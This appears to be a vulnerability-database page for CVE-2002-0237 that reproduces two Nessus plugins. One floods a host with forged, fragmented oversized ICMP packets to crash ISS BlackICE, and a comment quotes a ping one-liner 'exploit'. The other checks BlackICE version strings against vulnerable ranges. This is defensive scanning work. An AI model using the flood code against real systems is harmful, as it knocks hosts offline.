Vulnerabilities > CVE-2002-0237 - Buffer Overflow vulnerability in ISS products

#
# (C) Tenable Network Security, Inc.
#

# TBD : eEye gives this "exploit": ping -s 60000 -c 16 -p CC 1.1.1.1
#       But according to others, it doesn't work.


include("compat.inc");


if(description)
{
 script_id(10927);
 script_version ("1.33");
 script_cve_id("CVE-2002-0237");
 script_bugtraq_id(4025);

 script_name(english:"ISS BlackICE / RealSecure Large ICMP Ping Packet Overflow DoS");
 script_summary(english:"Ping flood the remote machine and kills BlackICE");
 
 script_set_attribute(attribute:"synopsis", value:
"The application running on the remote host has a remote buffer
overflow vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host appears to be running either BlackICE or RealSecure
Server Sensor.

This application has a remote buffer overflow vulnerability.  It was
possible to crash the application by flooding it with 10 KB ping
packets.

A remote attacker could exploit this to cause a denial of service, or
potentially execute arbitrary code." );
 script_set_attribute(attribute:"see_also",
   value:"https://seclists.org/bugtraq/2002/Feb/37"
 );
 script_set_attribute( attribute:"see_also",
   value:"https://seclists.org/bugtraq/2002/Feb/51"
 );
 script_set_attribute( attribute:"see_also",
   value:"https://seclists.org/bugtraq/2002/Feb/48"
 );
 script_set_attribute( attribute:"see_also",
   value:"http://web.archive.org/web/20131113184518/http://www.iss.net:80/threats/advise109.html"
 );
 script_set_attribute( attribute:"solution", 
   value:"Apply the appropriate patch referenced in the ISS advisory."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2002/03/29");
 script_set_attribute(attribute:"vuln_publication_date", value: "2002/02/04");
 script_cvs_date("Date: 2019/03/06 18:38:55");
 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 if (ACT_FLOOD) script_category(ACT_FLOOD);
 else		script_category(ACT_KILL_HOST);
 
 script_copyright(english:"This script is Copyright (C) 2002-2019 Tenable Network Security, Inc.");

 script_family(english:"Firewalls");
		       
 #script_add_preference(name:"Flood length :", type:"entry", value:"600");
 #script_add_preference(name:"Data length :", type:"entry", value:"10000");
 script_require_keys("Settings/ThoroughTests", "Settings/ParanoidReport");
 exit(0);
}

include("global_settings.inc");
if ( TARGET_IS_IPV6 ) exit(0);

if (! thorough_tests || report_paranoia < 2) exit(0);

#
# The script code starts here
#

start_denial();

#fl = script_get_preference("Flood length :");
if (! fl) fl = 600;
#dl = script_get_preference("Data length :");
if (! dl) dl = 60000;

mtu = get_kb_item('ICMP/PMTU');
if (! mtu) mtu = get_kb_item('TCP/PMTU');
if (! mtu) mtu = 1500; 

maxdata = mtu - 20 - 8;	# IP + ICMP
maxdata = maxdata / 8; maxdata = maxdata * 8;
if (maxdata < 16) maxdata = 544;

src = compat::this_host();
dst = get_host_ip();
id = 666;
seq = 0;

for (i = 0; i < fl; i=i+1)
{
 id = id + 1;
 seq = seq + 1;
 for (j = 0; j < dl; j=j+maxdata)
 {
  datalen = dl - j;
  o = j / 8;
  if (datalen > maxdata) {
   o = o | 0x2000;
   datalen = maxdata;
  }
  ##display(string("i=",i,"; j=", j, "; o=", o, ";dl=", datalen, "\n"));
  ip = forge_ip_packet(ip_v:4, ip_hl:5, ip_tos:0, ip_off:o,
                        ip_p:IPPROTO_ICMP, ip_id:id, ip_ttl:0x40,
	     	        ip_src:compat::this_host());
  icmp = forge_icmp_packet(ip:ip, icmp_type:8, icmp_code:0,
	     		  icmp_seq: seq, icmp_id:seq, data:crap(datalen-8));
  send_packet(icmp, pcap_active: 0);
 }
}

alive = end_denial();
if(!alive){
	security_hole();
	set_kb_item(name:"Host/dead", value:TRUE);
}

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(12114);
 script_version("1.30");
 script_cvs_date("Date: 2018/06/27 18:42:27");

 script_cve_id(
  "CVE-2000-0562",
  "CVE-2002-0237",
  "CVE-2002-0956",
  "CVE-2002-0957",
  "CVE-2004-0193",
  "CVE-2004-2125",
  "CVE-2004-2126"
 );
 script_bugtraq_id(1389, 4025, 4950, 9513, 9514, 9752);

 script_name(english:"ISS BlackICE Multiple Remote Vulnerabilities");
 script_summary(english:"ISS BlackICE Vulnerable version detection");

 script_set_attribute(attribute:"synopsis", value:
"The firewall running on the remote host has multiple buffer overflow
vulnerabilities.");
 script_set_attribute(attribute:"description", value:
"ISS BlackICE is a personal Firewall/IDS for windows Desktops. Several
remote holes have been found in the product. An attacker, exploiting
these flaws, would be able to either crash the remote firewall/IDS
service or execute code on the target machine.

According to the remote version number, the remote host is vulnerable
to at least one remote overflow.");
 script_set_attribute(attribute:"see_also", value:"http://www.eeye.com/html/Research/Advisories/AD20040226.html");
 script_set_attribute(attribute:"see_also", value:"http://www.eeye.com/html/Research/Advisories/AD20040318.html");
 script_set_attribute(attribute:"solution", value:"Upgrade to the latest version of BlackICE.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"vuln_publication_date", value:"2000/06/20");
 script_set_attribute(attribute:"plugin_publication_date", value:"2004/03/19");

 script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"patch_publication_date", value:"2004/02/26");
 script_end_attributes();

 script_category(ACT_GATHER_INFO);
 script_family(english:"Windows");

 script_copyright(english:"This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.");

 script_dependencies("blackice_configs.nasl");
 script_require_keys("SMB/BlackICE/Version");
 script_require_ports(139, 445);

 exit(0);
}

include("smb_func.inc");
myread = get_kb_item("SMB/BlackICE/Version");
if ( ! myread ) exit(0);


# what does the logfile format look like:
# ---------- BLACKD.LOG
# [25]Fri, 19 Mar 2004 09:58:20: BlackICE Product Version :               7.0.ebf

if (strstr(myread, "BlackICE Product Version"))  {
    # all versions 7.0 eba through ebh and 3.6 ebr through ecb
    if (egrep(string:myread, pattern:"BlackICE Product Version.*(7\.0\.eb[a-h]|3\.6\.e(b[r-z]|c[ab]))")) {
        # do a warning for smb bug
        mywarning = string(
"According to the remote version number, the remote host is vulnerable
to a bug wherein a malformed SMB packet will allow the attacker to execute
arbitrary code on the target system.");
    port = kb_smb_transport();
    if (!port) port = 139;
    security_hole(port:port, extra:mywarning);
    }


    # all versions prior to 7.0.ebl and 3.6.ecf
    if ( (egrep(string:myread, pattern:"BlackICE Product Version.*[0-6]\.[0-9]\.[a-z][a-z][a-z]")) ||
    (egrep(string:myread, pattern:"BlackICE Product Version.*7\.0\.([a-d][a-z][a-z]|e(a[a-z]|b[a-h]))")) ) {
                mywarning = string(
"According to the remote version number, the remote host is vulnerable
to a bug wherein a malformed ICQ packet will allow the attacker to execute
arbitrary code on the target system.");
    port = kb_smb_transport();
    if (!port) port = 139;
    security_hole(port:port, extra:mywarning);
    }


    # only certain versions which have a default config issue
    # VULN VERSION:
    # 7.0 eb[j-m]
    # 3.6 ec[d-g]
    # 3.6 cc[d-g]

    if (egrep(string:myread, pattern:"BlackICE Product Version.*(7\.0\.eb[j-m]|3\.6\.(ec[d-g]|cc[d-g]))")) {
        #warning for misconfiguration
        mywarning = string(
"Nessus detected a version of BlackICE with insecure default settings.");
    port = kb_smb_transport();
    if (!port) port = 139;
    security_hole(port:port, extra:mywarning);
    }

}